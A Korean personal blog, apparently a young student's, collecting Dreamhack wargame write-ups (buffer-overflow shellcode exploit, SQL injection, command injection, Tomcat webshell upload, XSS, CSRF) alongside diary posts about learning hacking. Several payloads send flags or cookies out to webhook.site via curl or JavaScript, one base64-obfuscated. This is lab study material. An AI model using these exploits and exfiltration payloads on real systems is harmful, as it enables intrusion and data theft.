이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_000)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요. "flag" 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다. 플래그의 형식은 DH{...} 입니다.

Ubuntu 16.04
Arch:     i386-32-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX disabled
PIE:      No PIE (0x8048000)
RWX:      Has RWX segments

코드 확인

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


int main(int argc, char *argv[]) {

    char buf[128];

    initialize();

    printf("buf = (%p)\n", buf);
    scanf("%141s", buf);

    return 0;
}

코드를 보니 버퍼가 128 바이트인데 입력을 141 바이트를 받는 스택 버퍼 오버플로우 취약점이 있었다.

풀이

pwndbg로 확인해보니 버퍼 메모리부터 리턴 주소 시작까지의 오프셋이 132 바이트였다.

26 바이트 짜리 셸코드를 구해서

[셸코드 26 바이트] + [ 106 바이트 채움 ] + [ 리턴주소 4 바이트] 구조로 페이로드를 넣으면 될거같다.

from pwn import *

context.arch = 'i386'          # 32비트
context.log_level = 'info'

BINARY = "./basic_exploitation_000"
elf = ELF(BINARY)

p = remote("host3.dreamhack.games", 22192)

p.recvuntil(b"buf = (")
leak = p.recvuntil(b")", drop=True)
buf_addr = int(leak, 16)

log.info(f"buf address: {hex(buf_addr)}")

OFFSET = 132

shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"

payload = shellcode + b"A" * 106 + p32(buf_addr)

p.sendline(payload)
p.interactive()

log.info(f"shellcode length: {len(shellcode)}")
log.info(f"payload length: {len(payload)}")
print(payload)

숫자 106 부분을 (OFFSET - len(shellcode))로 바꿔도 잘 작동한다.

원래 pwntool이 생성해주는 셸코드를 사용하다가 공백 문자가 포함되어있어서 26 바이트 짜리 셸코드로 교체했다.

사이트 확인

그냥 딸랑 hi guest만 나와있는데

코드 확인

const words = require("./ag")
const express = require("express")

const PORT = 3000
const app = express()
app.set('case sensitive routing', true)
app.use(express.urlencoded({ extended: true }))

function search(words, leg) {
    return words.find(word => word.name === leg.toUpperCase())
}

app.get("/",(req, res)=>{
    return res.send("hi guest")
})

app.post("/shop",(req, res)=>{
    const leg = req.body.leg.toLowerCase()

    if (leg == 'flag'){
        return res.status(403).send("Access Denied")
    }

    const obj = search(words,leg)

    if (obj){
        return res.send(JSON.stringify(obj))
    }

    return res.status(404).send("Nothing")
})

app.listen(PORT,()=>{
    console.log(`[+] Started on ${PORT}`)
})

events {
    worker_connections  1024;
}

http {
    server {
        listen 80;
        listen [::]:80;
        server_name  _;

        location = /shop {
            deny all;
        }

        location = /shop/ {
            deny all;
        }

        location / {
            proxy_pass http://app:3000/;
        }

    }

}

nginx를 보면 /shop에 대한 모든 요청을 거부하고 있다.

풀이

https://velog.io/@nobody09/Nodejsnginx-Bypass-nginx-ACL-Rules 이 글을 보니 nginx 1.22.0 버전은 \xa0으로 우회할 수 있다고 한다.

이제 flag 문자를 우회해야한다.

찾아보니 f와 l이 합쳐진 단일 문자가 있다고 한다. 그걸 이용해서 burp suite repeater로 요청을 보냈다.

하하하하ㅏ핳 오늘은 내 tmi와 셀프 q&a를 해보겠다.

1. 해킹을 시작하게된 계기

저번 디미고 관련 포스팅에서도 말했듯이 바이브 코딩만 하다가 ai랑 말싸움만 하게되니깐 해킹에 관심이 자연스럽게 생겼다.

2. 코딩 좀 해봤다고 깝죽대다가 해킹판 들어왔을때 느낌은?

평소에 파이썬 좀 치니까 해킹도 뭐 코드 몇줄 치면 뚫리는 줄 알았는데, 서버 코드 보니깐 알수없는 외계어 파티가 열려서 당황했다.

3. 친구들한테 해킹 공부한다고 말했을때 반응

"쟤 인스타 해킹해줘", "비트코인좀 줘라", "거짓말치고있네", "내 인스타 해킹하면 인정해줌"

ㅇㄴ ㅠㅠㅠㅜㅠㅜ

4. 중1인데 왜 벌써부터 디미고 가겠다고 이러고 사나?

중2때 대회나가서 동상 타겠다고 이러는걸 보면 나도 좀 신기하긴 한데 그래도 문제 풀리는게 재밌어서 그러는거 같다.

5. 시험 기간에도 워게임 사이트 창 켜놓고 있나?

당연한 말씀. 드림핵 키고 타자치다가 걸려서 엄청 혼났다.

6. 부모님이 컴퓨터 방 들어오실 때 화면 급하게 가려본 적 있나?

있다. 진짜 해킹 공부했는데 웬지 하면 안되는걸 하는거같아서 가렸다가 게임하는줄 아시고 혼났다.

7. 검은 바탕에 초록색 글씨 터미널 켜두고 스스로 폼 잡은 적 있나?

뭔가 내가 영화속 해커가 된거같은 느낌적인 느낌?

8. 학교 컴퓨터실

초등학교때 학교 컴퓨터실에서 엔트리를 하고있었는데 감시받는걸 모르고 혼자 f12 누르고 alert 같은걸로 이싱한거 만들다가 겁나 혼났다. 왜 그랬지... 🤦

9. 남들이 만든 웹사이트 볼 때 나도 모르게....

학교 웹사이트나 그런 웹사이트 볼때 나도 모르게 여기에 ' 넣으면 에러터지나? 이랬던적이 있다. 이건 안혼났다..

끄으읕

오늘은 해킹을 시작하고난 후의 내 tmi를 적어보았다. 안녕~

사이트 분석

이런 화면이 떠서

여러가지 덧셈식을 입력해 보았다.

1+1,1+2 1-2를 입력했더니 filltered가 떴다.

소스코드 분석

#!/usr/bin/python3
from flask import Flask, request, render_template
import string
import subprocess
import re


app = Flask(__name__)


def filter(formula):
    w_list = list(string.ascii_lowercase + string.ascii_uppercase + string.digits)
    w_list.extend([" ", ".", "(", ")", "+"])

    if re.search("(system)|(curl)|(flag)|(subprocess)|(popen)", formula, re.I):
        return True
    for c in formula:
        if c not in w_list:
            return True


@app.route("/", methods=["GET", "POST"])
def index():
    if request.method == "GET":
        return render_template("index.html")
    else:
        formula = request.form.get("formula", "")
        if formula != "":
            if filter(formula):
                return render_template("index.html", result="Filtered")
            else:
                try:
                    formula = eval(formula)
                    return render_template("index.html", result=formula)
                except subprocess.CalledProcessError:
                    return render_template("index.html", result="Error")
                except:
                    return render_template("index.html", result="Error")
        else:
            return render_template("index.html", result="Enter the value")


app.run(host="0.0.0.0", port=8000)

w_list = list(string.ascii_lowercase + string.ascii_uppercase + string.digits) w_list.extend([" ", ".", "(", ")", "+"])

이 부분을 보면 허용되는 문자들은, a-z,A-Z,공백,.,(,),+였다. 또, 필터링되는 단어들은 system, curl, flag, subprocess, popen이었다

formula = eval(formula) 그리고 이 부분을 보면 필터를 뚫어 내기만 하면 python 코드를 실행해 flag를 읽을 수 있을거 같았다.

풀이

open(flag.txt).read() 나는 이런 형태의 코드를 사용할건데, 블랙리스트에 의해 flag가 필터링된다. 따라서 파이썬의 chr() 함수를 이용하여 flag를 변환했다.

open(chr(102) + chr(108) + chr(97) + chr(103) + chr(46) + chr(116) + chr(120) + chr(116)).read()

히히 나는 숙련된 웹해커

풀이

로그인창이 하나 나온다.

소스코드

#!/usr/bin/env python3
from flask import Flask, request, render_template, make_response, redirect, url_for, session, g
import urllib
import os
import sqlite3

app = Flask(__name__)
app.secret_key = os.urandom(32)
from flask import _app_ctx_stack

DATABASE = 'users.db'

def get_db():
    top = _app_ctx_stack.top
    if not hasattr(top, 'sqlite_db'):
        top.sqlite_db = sqlite3.connect(DATABASE)
    return top.sqlite_db


try:
    FLAG = open('./flag.txt', 'r').read()
except:
    FLAG = '[**FLAG**]'


@app.route('/')
def index():
    return render_template('index.html')


@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')

    uid = request.form.get('uid', '').lower()
    upw = request.form.get('upw', '').lower()
    level = request.form.get('level', '9').lower()

    sqli_filter = ['[', ']', ',', 'admin', 'select', '\'', '"', '\t', '\n', '\r', '\x08', '\x09', '\x00', '\x0b', '\x0d', ' ']
    for x in sqli_filter:
        if uid.find(x) != -1:
            return 'No Hack!'
        if upw.find(x) != -1:
            return 'No Hack!'
        if level.find(x) != -1:
            return 'No Hack!'


    with app.app_context():
        conn = get_db()
        query = f"SELECT uid FROM users WHERE uid='{uid}' and upw='{upw}' and level={level};"
        try:
            req = conn.execute(query)
            result = req.fetchone()

            if result is not None:
                uid = result[0]
                if uid == 'admin':
                    return FLAG
        except:
            return 'Error!'
    return 'Good!'


@app.teardown_appcontext
def close_connection(exception):
    top = _app_ctx_stack.top
    if hasattr(top, 'sqlite_db'):
        top.sqlite_db.close()


if __name__ == '__main__':
    os.system('rm -rf %s' % DATABASE)
    with app.app_context():
        conn = get_db()
        conn.execute('CREATE TABLE users (uid text, upw text, level integer);')
        conn.execute("INSERT INTO users VALUES ('dream','cometrue', 9);")
        conn.commit()

    app.run(host='0.0.0.0', port=8001)

sqli_filter = ['[', ']', ',', 'admin', 'select', '\'', '"', '\t', '\n', '\r', '\x08', '\x09', '\x00', '\x0b', '\x0d', ' '] 이 부분을 보면 이렇게 블랙리스트 기반으로 해킹을 방지하고있다.

conn.execute('CREATE TABLE users (uid text, upw text, level integer);')
        conn.execute("INSERT INTO users VALUES ('dream','cometrue', 9);")

그리고 이렇게 시작하자마자 초기 계정을 생성한다. level 부분이 제일 우회하기 쉬울거같다.

POST /login HTTP/1.1
Host: host3.dreamhack.games:19012
Content-Length: 147
Cache-Control: max-age=0
Accept-Language: ko-KR,ko;q=0.9
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36
Origin: http://host3.dreamhack.games:19012
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://host3.dreamhack.games:19012/login
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

uid=guest&upw=guest&level=level=676767676776767676767676667677676767676767/**/union/**/values(char(97)||char(100)||char(109)||char(105)||char(110))

burp suite로 이렇게 패킷을 조작해서 보내면

HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 23
Server: Werkzeug/1.0.1 Python/3.7.7
Date: Sat, 29 Aug 2026 06:10:41 GMT

DH{sql-lite-cass-lite}

이렇게 플래그가 나온다.

후기

이렇게 주석을 이용해서 띄어쓰기를 대체하고 || 이걸 이용해서 글자를 붙일 수 있다는걸 알았다.

Exercise: CouchDB에서 실습하는 문제입니다.

ㅓ.. 음

사이트 분석

처음 서비스에 들어가니 로그인 창만 달랑 있었다.

guest: guest로 로그인을 시도해봤다.

오잉?

admin으로도 시도해봤다.

역시나...

그리고 마지막으로 1: 1로 시도해보니..

이번에는 fail이 아니고 error가 떴다.

1 이라는 계정이 없어서 404 에러가 뜬거같다.

_all_docs 특수 엔드포인트를 사용해 로그인을 시도해봤다.

fail 메시지가 왔다. 엔드포인트가 먹히는거같다.

burpsuite로 upw 부분을 지우고 요청을 보냈다.

flag가 나왔다.

서비스 분석

?????????????

소스코드 분석

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">

    <role rolename="manager-gui"/>
    <role rolename="manager-script"/>
    <role rolename="manager-jmx"/>
    <role rolename="manager-status"/>
    <role rolename="admin-gui"/>
    <role rolename="admin-script"/>
    <user username="tomcat" password="[**SECRET**]" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" />  
</tomcat-users>

tomcat-users.xml이다. 원래 톰캣 기반 서비스들은 /manager 주소로 들어가면 웹쉘을 업로드 할 수 있단다.

하지만 비밀번호를 모른다.

풀이

대충 아무거나 찔러보던중 이 이미지의 경로로 들어가봤다.

http://host3.dreamhack.games:13417/image.jsp?file=working.png 여기서 이 경로를 http://host3.dreamhack.games:13417/image.jsp?file=tomcat-users.xml 바꿔봤다. 404 에러가 뜬다.

상대경로로 이것저것 해보다가 성공했다.

이걸 다른이름으로 저장해서 비밀번호를 얻었다. P2assw0rd_4_t0mC2tM2nag3r31337

얻은 비번을 사용해 /manager에 로그인했다.

.war 형식으로 빌드된 웹쉘을 다운로드 받아서 업로드한다.

이제 /webshell로 접속할 수 있다.

/flag

후기

tomcat에 /manager이 있다는걸 몰라서 힘들었다.

문제 설명은 못알아먹었지만 ping 관련 문제는 대부분 command injection 취약점을 가지고있다.

풀이

서비스 분석

서비스는 간단하다 이렇게 핑을 날려볼 수 있다. 그래도 이건 디자인이 좀 마음에 든다.

소스코드 분석

import os
import re
import subprocess
from flask import Flask, render_template, request, jsonify

app = Flask(__name__)
app.secret_key = os.urandom(32)

FILTERED_CHARS = [' ', ';', '|', '&', '>', '<', '(', ')', '[', ']', '{', '}', '\n', '\r']

def is_valid_ip(ip):
    ip_pattern = r'^(\d{1,3}\.){3}\d{1,3}$'
    return bool(re.match(ip_pattern, ip))

def filter_input(user_input):
    for char in FILTERED_CHARS:
        if char in user_input:
            return False, f"Invalid character detected: {char}"
    return True, "OK"

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/ping', methods=['POST'])
def ping():
    ip = request.form.get('ip', '').strip()

    if not ip:
        return jsonify({'error': 'IP address is required'}), 400

    is_valid, message = filter_input(ip)
    if not is_valid:
        return jsonify({'error': message}), 400

    try:
        cmd = f"ping -c 4 {ip}"
        result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=10)

        return jsonify({
            'command': cmd,
            'stdout': result.stdout,
            'stderr': result.stderr,
            'returncode': result.returncode
        })

    except subprocess.TimeoutExpired:
        return jsonify({'error': 'Command timed out'}), 500
    except Exception as e:
        return jsonify({'error': str(e)}), 500


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=False)

cmd = f"ping -c 4 {ip}" result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=10) 이렇게 커맨드 인젝션 취약점이 발생한다.

FILTERED_CHARS = [' ', ';', '|', '&', '>', '<', '(', ')', '[', ']', '{', '}', '\n', '\r'] 하지만 이렇게 블랙리스트 기반 검증을 하고있다.

하지만 벡틱과 탭을 검사를 하고있지 않다.

페이로드

8.8.8.8(벡틱)cat flag.txt(벡틱) 이 페이로드를 사용했다.

후기

비교적 쉬웠음

이제는 취약점 유형도 안알려줌 ㅠ

풀이

서비스 분석

이렇게 crud가 구현된 노트 서비스다.

신기하게도 backup 기능이 있다.

들어가보니 404 에러가 난다.

소스코드 분석

#!/usr/bin/env python3
import subprocess
import threading
import time
from flask import Flask, make_response, redirect, request, abort, render_template, url_for

app = Flask(__name__)

lock = threading.Lock()
new_note_id = 0
notes = {}

def create_note(content):
    global new_note_id
    with lock:
        note_id = new_note_id
        new_note_id += 1
        notes[note_id] = content
        return notes[note_id]

def read_note(note_id):
    with lock:
        return notes[note_id]

def update_note(note_id, content):
    with lock:
        notes[note_id] = content
        return notes[note_id]

def delete_note(note_id):
    with lock:
        del notes[note_id]

def backup_notes(timestamp):
    with lock:
        with open('./tmp/notes.tmp', 'w') as f:
            f.write(repr(notes))
        subprocess.Popen(f'cp ./tmp/notes.tmp /tmp/{timestamp}', shell=True)


@app.route('/', methods=['GET'])
def get_index():
    return render_template('notes.html', notes=notes)


@app.route('/notes', methods=['GET'])
def get_notes():
    return render_template('notes.html', notes=notes)


@app.route('/create_note', methods=['GET'])
def get_create_note():
    return render_template('create_note.html')


@app.route('/create_note', methods=['POST'])
def post_create_note():
    content = request.form.get('content')
    if not isinstance(content, str):
        abort(400)
    create_note(content)
    return redirect(url_for('get_index'))


@app.route('/update_note', methods=['GET'])
def post_update_note():
    if len(notes) == 0:
        abort(404)
    return render_template('update_note.html')


@app.route('/update_note', methods=['POST'])
def get_update_note():
    note_id = request.form.get('note_id')
    if not isinstance(note_id, str) or not note_id.isdigit():
        abort(400)
    note_id = int(note_id)
    if note_id not in notes:
        abort(404)
    content = request.form.get('content')
    if not isinstance(content, str):
        abort(400)
    update_note(note_id, content)
    return redirect(url_for('get_index'))


@app.route('/delete_note', methods=['GET'])
def get_delete_note():
    if len(notes) == 0:
        abort(404)
    return render_template('delete_note.html')


@app.route('/delete_note', methods=['POST'])
def post_delete_note():
    note_id = request.form.get('note_id')
    if not isinstance(note_id, str) or not note_id.isdigit():
        abort(400)
    note_id = int(note_id)
    if note_id not in notes:
        abort(404)
    delete_note(note_id)
    return redirect(url_for('get_index'))


@app.route('/backup_notes', methods=['GET'])
def get_backup_notes():
    print(len(notes), flush=True)
    if len(notes) == 0:
        abort(404)
    page = render_template('backup_notes.html')
    resp = make_response(page)
    resp.set_cookie('backup-timestamp', f'{time.time()}')
    return resp


@app.route('/backup_notes', methods=['POST'])
def post_backup_notes():
    if len(notes) == 0:
        abort(404)
    backup_timestamp = request.cookies.get('backup-timestamp', f'{time.time()}')
    if not isinstance(backup_timestamp, str):
        abort(400)
    backup_notes(backup_timestamp)
    return redirect(url_for('get_index'))

겁나게 길다.

한참동안 붙잡고 보니 역시나 의심스러웠던 backup_notes이 부분에서 취약점이 발견되었다.

def backup_notes(timestamp):
    with lock:
        with open('./tmp/notes.tmp', 'w') as f:
            f.write(repr(notes))
        subprocess.Popen(f'cp ./tmp/notes.tmp /tmp/{timestamp}', shell=True)

@app.route('/backup_notes', methods=['POST'])
def post_backup_notes():
    if len(notes) == 0:
        abort(404)
    backup_timestamp = request.cookies.get('backup-timestamp', f'{time.time()}')
    if not isinstance(backup_timestamp, str):
        abort(400)
    backup_notes(backup_timestamp)
    return redirect(url_for('get_index'))

이 부분에서 사용자의 backup-timestamp 쿠키를 검사하지 않고 바로 {timestamp} 부분에 집어넣고 shell=True가 되있다. 따라서 cmd injection 공격이 가능하다.

익스플로잇

하지만 노트가 하나 이상 있어야지 backup_notes에 접근이 가능하니 하나를 써줬다.

burp suite repeater로 쿠키 부분을 Cookie: backup-timestamp=123456&&curl https://webhook.site/10631fc9-6a00-4ef3-a413-f9f116457289/?data=$(cat flag) 이렇게 변조해서 보냈다.

webhook.site로 플래그가 왔다.

후기

맨날 다른사람 풀이 보고 풀다가 오랜만에 내 힘으로 문제를 풀어서 뿌듯했다.

뭐라는 거야

풀이

소스코드 분석

@app.route("/intro", methods=["GET"])
def intro():
    name = request.args.get("name")
    detail = request.args.get("detail")
    return render_template("intro.html", name=name, detail=detail)

name, detail 피라미터를 그대로 화면에 표시한다. 따라서 xss 공격이 가능하다.

@app.route("/report", methods=["GET", "POST"])
def report():
    if request.method == "POST":
        path = request.form.get("path")
        if not path:
            return render_template("report.html", msg="fail")

        else:
            parsed_path = urlparse(path)
            params = parse_qs(parsed_path.query)
            name = params.get("name", [None])[0]
            detail = params.get("detail", [None])[0]

            if access_page(name, detail):
                return render_template("report.html", message="Success")
            else:
                return render_template("report.html", message="fail")
    else:
        return render_template("report.html")

제출한 path를 admin 봇이 방문한다.

@app.route("/whoami", methods=["GET"])
def whoami():
    user_info = ""
    authorization = request.headers.get('Authorization')

    if authorization:
        user_info = b64decode(authorization.split('Basic ')[1].encode()).decode()
    else:
        user_info = "guest:guest"

    id = user_info.split(":")[0]
    password = user_info.split(":")[1]
    if ((id == 'admin') and (password == '[**REDACTED**]')):
        message = FLAG
        return render_template('whoami.html',id=id, message=message)
    else:
        message = "You are guest"
        return render_template('whoami.html',id=id, message=message)

Authorization 헤더를 확인하고 id와 password가 일치하면 flag를 리턴한다.

def access_page(name, detail):
    try:
        user_info = f'admin:{PASSWORD}'
        encoded_user_info = b64encode(user_info.encode()).decode()
        service = Service(executable_path="/chromedriver-linux64/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.execute_cdp_cmd(
            'Network.setExtraHTTPHeaders',
            {'headers': {'Authorization': f'Basic {encoded_user_info}'}}
        )

        driver.execute_cdp_cmd('Network.enable', {})
        driver.get(f"http://127.0.0.1:8000/")
        driver.get(f"http://127.0.0.1:8000/intro?name={quote(name)}&detail={quote(detail)}")
        sleep(1)
    except Exception as e:
        print(e, flush=True)
        driver.quit()
        return False
    driver.quit()
    return True

봇이 자동으로 {'headers': {'Authorization': f'Basic {encoded_user_info}'}} 이렇게 헤더를 붙여준다.

페이로드

/intro?name=<img src=x onerror="location.href='https://webhook.site/10631fc9-6a00-4ef3-a413-f9f116457289?test=1'">&detail=hahaha

페이로드는 이걸 사용했다.

webhook.site에서 admin의 비밀번호를 얻었다.

풀이

admin:1de98e13708c1f1f6023e131a7bd8676를 base64 인코딩하면 YWRtaW46MWRlOThlMTM3MDhjMWYxZjYwMjNlMTMxYTdiZDg2NzY= 이런 값이 나온다.

burp suite에서 Authorization: Basic YWRtaW46MWRlOThlMTM3MDhjMWYxZjYwMjNlMTMxYTdiZDg2NzY= 헤더를 추가해주면?

flag가 나온다.

후기

개인적으로 제일 어려워서 며칠동안 헤맸던 문제였지만 다른 사람을의 write up을 보고 공부하고 내 풀이를 쓰면서 다시 복습하니깐 원리를 이해하게 되었다. 점점더 성장하고있는 내 자신을 보니 뿌듯하다.

풀이

이렇게 로그인을 해란다 솔직히 이쯤돼면 login에서 guest: guest로 로그인 하는거는 국룰이긴 하다.

당연하게도 로그인에 성공했다.

이번에는 저번과 다르게 change password라는 탭에 생겼다. 비밀번호를 바꾼다음에 어드민으로 로그인하면 될거같다.

소스코드 보기

@app.route("/")
def index():
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')

    return render_template('index.html', text=f'Hello {username}, {"flag is " + FLAG if username == "admin" else "you are not an admin"}')

admin 계정으로 로그인하면 플래그가 나오는거같다.

@app.route("/vuln")
def vuln():
    param = request.args.get("param", "").lower()
    xss_filter = ["frame", "script", "on"]
    for _ in xss_filter:
        param = param.replace(_, "*")
    return param

xss가 막혀있다. .lower() 함수도 사용돼서 ScRiPt이런 우회는 안통할거다.

그래도 img 태그에 대한 필터는 없으니 img 태그로 csrf를 시도해 보아야 한다.

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        try:
            pw = users[username]
        except:
            return '<script>alert("user not found");history.go(-1);</script>'
        if pw == password:
            resp = make_response(redirect(url_for('index')) )
            session_id = os.urandom(8).hex()
            session_storage[session_id] = username
            token_storage[session_id] = md5((username + request.remote_addr).encode()).hexdigest()
            resp.set_cookie('sessionid', session_id)
            return resp 
        return '<script>alert("wrong password");history.go(-1);</script>'@app.route('/login', methods=['GET', 'POST'])

로그인을 할때 username + ip로 토큰을 발급하는거 같다.

@app.route("/change_password")
def change_password():
    session_id = request.cookies.get('sessionid', None)
    try:
        username = session_storage[session_id]
        csrf_token = token_storage[session_id]
    except KeyError:
        return render_template('index.html', text='please login')
    pw = request.args.get("pw", None)
    if pw == None:
        return render_template('change_password.html', csrf_token=csrf_token)
    else:
        if csrf_token != request.args.get("csrftoken", ""):
            return '<script>alert("wrong csrf token");history.go(-1);</script>'
        users[username] = pw
        return '<script>alert("Done");history.go(-1);</script>'

피라미터로 설정할 비번, 토큰 같이 보내면 될거같다.

풀이

토큰이 그냥 username + ip를 md5 인코딩한것이므로 파이썬 스크립트로 admin + 127.0.0.1로 md5 인코딩을 해서 csrftoken을 얻었다.

from hashlib import md5

token = md5(("admin" + "127.0.0.1").encode()).hexdigest()
print(token)

토큰은 7505b9c72ab4aa94b1a4ed7b207b67fb가 나왔다.

페이로드

페이로드로는 </img src="/change_password?pw=1234&csrftoken=7505b9c72ab4aa94b1a4ed7b207b67fb">를 사용했다.

오잉 왜 안돼지? 알고보니 앞에붙은 슬래시 때문이었다. 정상적인 페이로드는

<img src="/change_password?pw=1234&csrftoken=7505b9c72ab4aa94b1a4ed7b207b67fb">

이것이다.

플래그

이렇게 admin 계정의 비밀번호를 1234로 리셋하고 다시 로그인을 해주면?

플래그가 나온다.

후기

처음 풀때는 어떻게 해야할지 몰라서 다른 write-up을 보면서 문제를 풀어나갔지만 또 벨로그에 정리하는 습관을 들이니까 정리하면서 다시 풀어보게 되고 그게 또 복습이 되는거같다 :)

딱 봐도 file-upload 취약점이 있을거같다.

코드분석

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        return redirect(request.url)
    file = request.files['file']
    if file.filename == '':
        return redirect(request.url)
    if file:
        filename = secure_filename(file.filename)
        unique_id = uuid.uuid4().hex
        unique_filename = f"{unique_id}_{filename}"
        file_path = os.path.join(app.config['UPLOAD_FOLDER'], unique_filename)
        file.save(file_path)
        read_file(unique_filename)
        return redirect(url_for('index', file=f'uploads/{unique_filename}'))
    return '', 204

딱 봐도 매우 취약해 보인다.

def read_file(filename):
    driver = None
    cookie = {"name": "flag", "value": FLAG}
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/usr/local/bin/chromedriver")
        options = webdriver.ChromeOptions()
        for arg in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(arg)

        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)

        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(f"http://127.0.0.1:8000/?file=uploads/{filename}")

        WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.TAG_NAME, "svg")))

    except Exception as e:
        driver.quit()
        return False
    driver.quit()
    return True

이렇게 셀레니움으로 봇이 구현되어 있으니 svg 파일에 js를 집어넣어서 xss공격으로 webhook.site에 보내면 될거같다.

풀이

vscode를 열어서 1.svg 파일을 생성한 다음 페이로드를 입력해준다.

페이로드로는 이걸 사용했다.

<svg width="704" height="161" viewBox="0 0 704 161" fill="none" xmlns="http://www.w3.org/2000/svg">
<animate attributeName="x" dur="0s" onbegin="eval(atob('bG9jYXRpb24uaHJlZj0iaHR0cHM6Ly93ZWJob29rLnNpdGUvNWEyMWY0MjgtNTFiMi00NDNiLTgwZWMtZTRhOGM5MWQzNzk0P2ZsYWc9Ii5jb25jYXQoZG9jdW1lbnQuY29va2llKQ=='))"/>
</svg>

eval 함수 안에 base64로 인코딩 되어있는 것은

location.href="https://webhook.site/5a21f428-51b2-443b-80ec-e4a8c91d3794?flag=".concat(document.cookie)

이 코드 이다.

flag

후기

이제 브론즈 1 정도 올라오니까 여러 취약점을 꼬아서 나오는 문제가 나오기 시작했다. 그래도 기초를 잘 다져 놓으니까 아직까지는 할만한거 같다 :)

나는 중 1이다. 나는 초 4부터 코딩을 아빠에 의해 접해서 웹개발(?) 을 하다가 지금은 놀고 자빠져있다. 뭐 코딩을 접하고 나서부터 꿈은 항상 개발쪽이었지만 미쳐 고등학교를 생각을 못했다. 평소처럼 프로결제한 제미나이를 가지고 놀다가 고등학교를 추천해 달라고 했다. 추천해준 고등학교는 바로 디미고 였다.

부모님

그래서 바로 좋아라 했던 나는 바로 부모님께 가서 디미고에 가고싶다고 말했다. 당연히 부모님은 안된다고 말씀하셨다. 왜지? 왜냐면 당시에 특성화고는 공부못하고 할거 없는 애들만 간다는 오해가 있었기 때문이었다. 하지만 디미고는 예외다.

그래서, 내가 이런말 할만큼 코딩 실력이 좋냐고? 겠냐? 절대 아니다.

아아아ㅏ 코딩을 처음 배웠을때의 그 나는 어디가고 왜 이런 폐인같은 바이브코더가 내 앞에 있는걸까…

해킹방어

그러던중, 나는 해킹에 관심이 생겼다. 정확히는 웹해킹이었는데, 구글 그뤼에르인가? 대충 그런 사이트에서 처음 공격을 시도해봤다.

결과는…. 정말 재밌었다! 그저 내가 한거라고는 프로필 페이지에서 대놓고 있는 피라미터를 고치기만 했을 뿐인데, 어드민 권한을 얻을 수 있다는게 신기하고 재밌었다. (실제로는 안먹힌다…)

음… 이렇게 재미를 느껴놓고 정작 드림핵같은 사이트에서 정식으로 해킹을 배우는데는 시간이 오래 걸렸다. 왜냐고? 현타가 왔다. 갑자기? 라고 할 수도 있겠지만 뭔가 내가 하고있는게 올바른건지, 이렇게 너무 ai에 의존해도 돼는건지, 과연 디미고에 합격할 수나 있을지 일반고는 가려나? 성적은 어떨까? 이런 질문들이 나를 한순간에 덮쳤다.

다시…시작

그래서 나는 한동안 개발을 잠시 접었었다. 그래도 ai에게 의존해도, 힘들어도, 눈이 아파도 개발을 하는게 재밌었는지 나는 다시 노트북 앞에 앉아 있었다.

그래도 코딩을 안한 시간동안 생각한게 조금은 있었는지 엄마에게 드림핵 가입을 도와달라고 했다. 엄마는 미심쩍어했다 원래그런 사람이다.

앞에서 저런말 하다가 뜬금없지만,

그래서 나의 해킹 공부는 시작이 됐다. 뭐, 이제 배운지 얼마 안됐지만 그래도 내 목표인 디미고 해킹방어과를 향해 열심히 달려갈 예정이다.

13살이 건방지게 이런글 써서 죄송합니다. 긴글 읽어주셔서 감사합니다 :)

문제 설명 Description Introducing DreamDocs: a platform for browsing docs!

이렇게 문서를 열람할 수 있는 서비스다.

소스코드 보기

flag_doc_id = random.randint(100, 999)

이 부분을 보면 flag가 들어있는 문서는 100부터 999까지의 무작위 문서 이다.

@app.route('/doc/<int:doc_id>')
def view_document(doc_id):
    referer = request.headers.get('Referer', '')
